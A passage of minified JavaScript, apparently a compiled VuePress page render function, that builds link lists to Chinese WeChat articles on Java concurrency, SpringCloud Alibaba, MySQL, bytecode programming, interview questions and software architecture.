"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489191&idx=1&sn=77c3ac60313a2e54e4cb719264f02cb4&chksm=cf55a1a6f82228b0094495740752f02e0614ba35bf543ad06b89873f6bce461f9a5d46b485a6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:Java中提供了synchronized,为什么还要提供Lock呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489164&idx=1&sn=d35d5ddb37f3d35e453bc6297cffbed9&chksm=cf55a18df822289bfd6b676acb73febc764e8a1c959d1d167523dff92d48150fbcbf21d3f016&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一文搞懂PV、UV、VV、IP及其关系与计算"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489161&idx=1&sn=4e5cb69ffd54e4bc083191dc44313d95&chksm=cf55a188f822289e0e2184932c3244bd3016c0011ce6b3865e219bdf372149cfc8d9a9653854&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("学好并发编程,需要掌握这些核心知识体系!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489157&idx=1&sn=6e76a0608f7873e4e34f0a67f2d94ec2&chksm=cf55a184f8222892ab4b82791b1ae300957720f6ea59624c497328576e2e05456fe6935ba0d8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发秒杀系统架构解密,不是所有的秒杀都是秒杀!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489156&idx=1&sn=28e9fa305c28ecff85d3d2e6f6a45ed9&chksm=cf55a185f822289370f55ba9e42403bc17aef087bde3c358d1e24c9c991b384284fbc0699e92&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("讲讲高并发场景下如何优化加锁方式?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489154&idx=1&sn=22faf83caf06638dd5f3547b08340fbe&chksm=cf55a183f8222895a237c3d0b4b6ddb92ed4d93600c37b1edd413716aed465bb60501bfa5d39&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发分布式锁架构解密,不是所有的锁都是分布式锁(升级版)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489151&idx=1&sn=b25b6a43c301cd02df48232d2c89c0d9&chksm=cf55a17ef82228684795669e2564be75d768968e7d2b7eabaae81d837c4ab53103ea95f46f4f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("学好并发编程,关键是要理解这三个核心问题!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489144&idx=1&sn=77bc4f740e68c7b706fb2a1619d85352&chksm=cf55a179f822286f78b604c3ecdd9cf50e1315f655c552b0fd999218b5671aff7a7636893b98&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为啥局部变量是线程安全的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489130&idx=1&sn=981c1bbf315127a94d5152ac7706cda4&chksm=cf55a16bf822287d8e5988874de65001590ff2915cf3092e837c866bb3111f752cc8b71f9ef8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("并发编程到底应该学什么?一张图秒懂!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489094&idx=1&sn=9cd9c4efeb31d96cde375f15ea8e6ccb&chksm=cf55a147f8222851080c47f4dd5a4ef3aff6d2bdc7d9be3640f8dd9ab05e2ec32210719bba38&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("并发编程中一种经典的分而治之的思想!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489540&idx=1&sn=c86aa20794d406f11ce79b40ce356ef3&chksm=cf55af05f822261382ad28c05d0eb4374e3a941ee258ff09f78e5d0eceeb90b54a9cb5380825&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我们该如何正确的中断一个正在执行的线程??"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489468&idx=1&sn=d3f45ddb7405b36eaaadb45a4ee1672e&chksm=cf55a0bdf82229ab8f92282d836c0be4697ed7d0aacfc1fa3775db0cccd7089e187351b85d8d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("内存模型(八种操作+同步规则)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489467&idx=1&sn=47ae1d1de0468eb6b6f9a96691fe2a8c&chksm=cf55a0baf82229ac617384c100a4279b4107c6a6758e1001965f34df274c8bb27ce4c9b47ecf&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何安全的发布对象(含各种单例代码分析)"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"手撸源码系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#手撸源码系列"}},[e._v("#")]),e._v(" 手撸源码系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/5HOUg49X0xQmkQjMiWnaIg",target:"_blank",rel:"noopener noreferrer"}},[e._v("这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497660&idx=1&sn=fb74836a052e0433ce64db1fcc5c3524&chksm=cf5640bdf821c9ab369207fa39caede4af0c822754203b4431b7f190699495b77c9dba859e09&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("手撸一款属于自己的Maven插件,说干就干!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"sa实战"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战"}},[e._v("#")]),e._v(" SA实战")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/1kS9RImTuL4hCnbxgfY1HQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第1章-专栏设计:专栏开篇"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/k93hPaozpq0yZyhzTn3AqA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第2章-专栏设计:专栏总体设计"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/jT5YqhMakXh8Fe5lOASwUQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第3章-微服务介绍:微服务核心技术介绍"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/WFFDr1gHrYNN17xk3MyYjw",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第4章-微服务环境搭建:项目说明、流程设计、技术选型与模块划分"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/BoKOEKzmJmHqVtgYBZyp-w",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第5章-微服务环境搭建:开撸:完成通用模块的开发"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/9baarUeDNOsRKraOzV_wyA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第6章-微服务环境搭建:快速搭建三大微服务并完成交互开发与测试"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/gKoEHbdcnGqW6fKdUFyUBg",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第7章-服务治理:实现服务的自动注册与发现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/G2iXsMUJBwdnUEsQKkiyGQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第8章-服务治理:实现服务调用的负载均衡"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/B9YoUVdUuXtWQczP7ZVlBA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第9章-服务容错:服务雪崩与容错方案"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/wBb6lUEWf9jMNm56BDpspA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第10章-服务容错:项目整合Sentinel实现限流与容错"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/D_YpHey3mN0YZbzGL5-RIQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第11章-服务容错加餐:Sentinel核心技术"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/cx3crP7BnQwtCSJ7rFg8Rw",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第12章-服务网关:网关概述与核心架构"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/9HO15etc6PTZrQ1G6PuwhQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第13章-服务网关:项目整合SpringCloud Gateway网关"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/Byz2bClG8MdNTw8ujBgvHQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第14章-服务网关:SpringCloud Gateway核心技术"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/5NeBqv4-wGZ1A4Jsh-Qjng",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第15章-链路追踪:核心原理与解决方案"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/KRLxhqV2m6v0QmE26_UszA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第16章-链路追踪:项目整合Sleuth实现链路追踪"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/IJ2ijg-p8yamyfRH1Po42A",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第17章-链路追踪:Sleuth整合ZipKin"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/jfExlVktM_LQlS0UcQrLKA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第18章-消息服务:MQ使用场景与选型对比"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/mcx4juYK3FseyFeHYJ4jLw",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第19章-消息服务:项目整合RocketMQ"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/P3XaEqheUZg2KIdpGtvzfA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第20章-消息服务:RocketMQ核心技术"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/T7Fv1dOiwcZnxvwS-xoovQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第21章-服务配置:服务配置介绍与Nacos核心概念"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/UPRX0e5CsI1Wy2lBpfUdSA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第22章-服务配置:项目整合Nacos配置中心"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/D9WYSweokRxQ4EkHxuly4A",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第23章-服务配置:实现动态刷新与配置共享"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/aH5bxLe21p7aem2ze2XEpQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第24章-分布式事务:分布式事务核心原理与Seata介绍"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/I0rOjP0nMlemzP4ZJsbPCw",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第25章-分布式事务:项目整合Seata实现分布式事务"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/_OwhURhLDanxgOoiWALOQA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第26章-专栏总结与后续规划"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/nuK5qC0TCQ6UYlyv0Y0m8A",target:"_blank",rel:"noopener noreferrer"}},[e._v("十大篇章,共26个章节,332页,正式发布!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"mysql核心知识"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#mysql核心知识"}},[e._v("#")]),e._v(" MySQL核心知识")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/oJyL6xz7YYDTbMT8bpz-dw",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第1章:开篇:专栏介绍"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/kIDUVms_MstfddVSxymZnQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第2章:MySQL常用的命令"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/VcQIaMthW-gpjSuqyquZxQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第3章:MySQL中的运算符"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/UW-ZUqfDMx-Z7CjSrmnlRg",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第4章:简单语法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/JcpqhKJJr_S9I1Xj9Zj1mA",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第5章:字段长度与类型宽度"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/9JsCVxExqaviOiYO_bx6cg",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第6章:查询语句"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/_1_fiVUpFqOtb9x3jIZCAw",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第7章:插入、更新、删除"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/JxLo3_lvyL1zB7GLS4jsUw",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第8章:索引"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/MhTiA-LtqKMjw-UkfQcUNQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第9章:函数"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/B5J9G23Ap7aF3F3RgzSHFA",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第10章:自定义存储过程和函数"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/JnMc_fL8YK4HK2oy4JXRWw",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第11章:视图"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/b1MTNUGlyG-JMNhLHBFiNg",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第12章:触发器"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/9tRNKIZGIrXDah96od5DUQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第13章:权限管理"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/cC5STY0Cxiyddep6qNBEVg",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第14章:数据备份与恢复"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/ckPHvJdi5yz6hdUE_xD3qA",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第15章:自动备份与恢复MySQL数据库并发送Email邮件"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"字节码编程"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#字节码编程"}},[e._v("#")]),e._v(" 字节码编程")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498302&idx=1&sn=41b853ab5a43befaede06931e14369b1&chksm=cf564d3ff821c42982ea40ae98f3f2f09c520ff38103154e9f2c7d056654393177b7247eeac3&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("字节码编程|使用Javassist生成JavaBean"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498023&idx=1&sn=fc208f8ac5423f96e5a8f49589f8f4b4&chksm=cf564e26f821c730b2bab402d24852ca64dc721732031b0f8656f339c91266823951dfc46d53&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("字节码编程|工作多年的你是否接触过这种技术?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498262&idx=1&sn=8a72a0d60817fd40eda57f7f47f146ee&chksm=cf564d17f821c401a2c19944091044c318104cb684c439fdf66f26128307e127325656b73359&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("字节码编程|使用Javassist动态生成Hello World"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"面试必问系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#面试必问系列"}},[e._v("#")]),e._v(" 面试必问系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498705&idx=1&sn=d62fe252758439f40490392401640c87&chksm=cf564cd0f821c5c6b67534467252ad8b24ee30a9be3dcabbe91f7a9756d15a25bdc90b358820&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问 | 聊聊MySQL三大核心日志的实现原理?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498669&idx=1&sn=198733a3e5d2986ee578aa7b941be558&chksm=cf564cacf821c5bac83ac61f373d3b4fe0cef05e4b4b20257ae32e65f775c70f06c971458a47&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问 | 如何设计一款高并发的消息中间件?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498649&idx=1&sn=ccb0343afda59782a81cdf37e292868b&chksm=cf564c98f821c58e739e36f74791495b7452a96650aaa72aa6501745c20ab806546e407c5a70&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问|哪些场景下Spring的事务会失效?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498605&idx=1&sn=25484ab4786d002861454633b8a04e38&chksm=cf564c6cf821c57a4201860058c99d7617aed9851a68a2925b543c16596c688390b9646af1b4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问|聊聊MyBatis执行流程?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498381&idx=1&sn=e76f43841f9d2a6f2bf7c2369944efc5&chksm=cf564d8cf821c49add82afea08dceb02a7d59788d70d350bafd002964831b6fabb3b2629f401&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问|聊聊JVM性能调优?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498784&idx=1&sn=e645d07e2e4e3341a628f89f93d2e7d2&chksm=cf564b21f821c23746d15b4f4cca534ea6d83105ca3ce9eac48f7e8d11bb3e37d1194fb89a67&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问 | 聊聊Kafka的消费模型?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499378&idx=1&sn=608f17c9da784e6863e7db36ab2be414&chksm=cf564973f821c065f1a3d772ab5d84d686830a07663d9b57539c37d356a8685f2dc5e4ee15b4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问 | 为何数据库连接池不采用IO多路复用?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500042&idx=1&sn=a6bb4c40af2edaa8f85ce72c3b562cb9&chksm=cf56760bf821ff1d065a11bbea690ccf6263ecf71b6066c4241323f953eab25a359ffec71718&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问 | 一个线程从创建到消亡要经历哪些阶段?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"架构师进阶系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#架构师进阶系列"}},[e._v("#")]),e._v(" 架构师进阶系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495897&idx=1&sn=a5479e4aebf18a3e4cc30c8bec807051&chksm=cf5647d8f821ceceb42deb500f4bdc4d7d28bc64f671a0da69ca955ecbf6b82b2396e42064f3&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("架构师与高级开发工程师的分水岭是啥?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496020&idx=1&sn=aae3ea84c13d82e4027fb0381633d54b&chksm=cf564655f821cf4372325deb49ab982b4e290c73bdfba16095fae7d545a958d54a2686e1a329&token=1837443586&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("要想进大厂成为架构师需要掌握哪些硬核技能?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495960&idx=1&sn=489edee13ada9612e3a92b3f624bb02a&chksm=cf564619f821cf0ff31050587a2979f9847ce1930f653f3d1d087d42346ab7625f6bcb90ed39&token=1837443586&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM整体架构与调优参数说明"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497051&idx=1&sn=38312719e86b7f9cef31c00102da6c48&chksm=cf56425af821cb4c779873fdd793a73af274305f74de7ae72a06fcd2d9224f44541f4a2cad40&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("逃逸分析,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498714&idx=1&sn=41d6ea250b3d3bec192be68abd2358a0&chksm=cf564cdbf821c5cd28edda7ef364c25860505e9172be3b75a1ac952a69df901ee512047b84e6&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("熔断,限流,降级,容错,服务高可用(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498735&idx=1&sn=2639176344c13e9848e97824555aefdc&chksm=cf564ceef821c5f8798e633cd3f9921f0eeb91c3dc8a558b584b95a5468990d7ef9bc062cf2d&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发,高性能,高可用,高扩展,分布式,微服务,字节码(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498767&idx=1&sn=9a4a0cc594ffd796bafc48992feffafb&chksm=cf564b0ef821c2187b47a78bf457a9152496a4ce10e70114e6f87f85aeab036a589223598c11&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("定时轮询,DelayQueue,ZSet,TTL+DLX(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498861&idx=1&sn=629c0a78e5e9bf00a1ee34fa64efda80&chksm=cf564b6cf821c27a4d4aafa13bd6d60c9a923d2984bc98ca0163326bb77196375b22400fd6c4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("服务端高并发分布式架构演进之路(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498923&idx=1&sn=536517b094338c6a17e4e259d1b1edd7&chksm=cf564baaf821c2bc339dac8b350d039531bd2a82aeed051a7c76ceb960b99448b0dceff9b70c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高可用架构(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498925&idx=1&sn=575dc293c689c9313fbc0da4739a2e4e&chksm=cf564bacf821c2ba95055c28c33e6ce9373e5b297528507c91f6d1507d69a87dc88447408fa5&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高性能架构(建议收藏)"),a("OutboundLink")],1)]),e._v(" 